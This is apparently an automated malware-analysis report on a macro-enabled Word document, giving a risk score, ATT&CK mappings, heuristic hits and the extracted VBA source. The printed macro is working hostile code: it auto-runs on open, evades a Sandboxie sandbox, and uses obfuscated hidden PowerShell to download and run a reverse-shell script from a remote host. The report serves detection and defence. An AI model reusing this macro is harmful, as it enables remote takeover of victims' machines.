MALICIOUS
170
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1140 Deobfuscate or Obfuscate Malicious Code
The sample contains VBA macros with an AutoOpen subroutine that executes a shell command. This command uses PowerShell to download and execute a script from a remote URL. The script is obfuscated and attempts to download a second-stage payload, indicating a downloader or droppper functionality.
Heuristics 6
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set objShell = CreateObject("Wscript.shell") objShell.Run Chr(112) + "o" + "W" + "e" + "R" + "s" + "H" + "e" + "L" + "l" + "." + "E" + "x" + "E " + Chr(150) + "w " + "h" + "i" + "d" + "d" + "e" + "n" + " I" + "e" + "X " + "(" + "N" + "e" + "w" + "-" + "O" + "b" + "j" + "e" + "c" + "t " + "N" + "e" + "t" + "." + "W" + "e" + "b" + "C" + "l" + "i" + "e" + "n" + "t" + ")" + "." + Chr(100) + "o" + "w" + "n" + "l" + "o" + "a" + "d" + "S" + "t" + "r" + "i" + "n" + Chr(103) + "('" + Chr(104) + Chr(116) + Chr(116) + Chr(112) + ":" + "//" + "1" + … -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set objShell = CreateObject("Wscript.shell") objShell.Run Chr(112) + "o" + "W" + "e" + "R" + "s" + "H" + "e" + "L" + "l" + "." + "E" + "x" + "E " + Chr(150) + "w " + "h" + "i" + "d" + "d" + "e" + "n" + " I" + "e" + "X " + "(" + "N" + "e" + "w" + "-" + "O" + "b" + "j" + "e" + "c" + "t " + "N" + "e" + "t" + "." + "W" + "e" + "b" + "C" + "l" + "i" + "e" + "n" + "t" + ")" + "." + Chr(100) + "o" + "w" + "n" + "l" + "o" + "a" + "d" + "S" + "t" + "r" + "i" + "n" + Chr(103) + "('" + Chr(104) + Chr(116) + Chr(116) + Chr(112) + ":" + "//" + "1" + … -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1994 bytes |
SHA-256: 9287a3da3541eb6ac5672e6774c59fdf622ca6ef3c351f48aa1f82a2875a6410 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Public Declare PtrSafe Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
Sub AutoOpen()
'If IsSandBoxiePresent(1) = True Then MsgBox ("OH no Sandboxie is here ...")
If IsSandBoxiePresent(1) = True Then Exit Sub
If IsSandBoxiePresent(1) = False Then Call Shello
End Sub
Function IsSandBoxiePresent(ByVal OptionToCheck As Integer) As Boolean
Select Case OptionToCheck
Case 1 'Recomendado
Dim hSbie As Long
hSbie = GetModuleHandle("SbieDll.dll")
If hSbie <> 0 Then
IsSandBoxiePresent = True
Else
IsSandBoxiePresent = False
End If
Case 2 'No recomendado
If InStr(MainFrm.Caption, "[#]") <> 0 Then
IsSandBoxiePresent = True
Else
IsSandBoxiePresent = False
End If
End Select
End Function
Function Shello()
Set objShell = CreateObject("Wscript.shell")
objShell.Run Chr(112) + "o" + "W" + "e" + "R" + "s" + "H" + "e" + "L" + "l" + "." + "E" + "x" + "E " + Chr(150) + "w " + "h" + "i" + "d" + "d" + "e" + "n" + " I" + "e" + "X " + "(" + "N" + "e" + "w" + "-" + "O" + "b" + "j" + "e" + "c" + "t " + "N" + "e" + "t" + "." + "W" + "e" + "b" + "C" + "l" + "i" + "e" + "n" + "t" + ")" + "." + Chr(100) + "o" + "w" + "n" + "l" + "o" + "a" + "d" + "S" + "t" + "r" + "i" + "n" + Chr(103) + "('" + Chr(104) + Chr(116) + Chr(116) + Chr(112) + ":" + "//" + "1" + "9" + "2" + "." + "1" + "6" + "8" + "." + "2" + "." + "1" + "2" + "0" + "/reverse_shell_120_4444." + "p" + "s" + "1" + "')"
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 22528 bytes |
SHA-256: 1374210065d6606c7402fa9669eb81dfaaab3e95945f641fef7b76f1d2e286ae |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.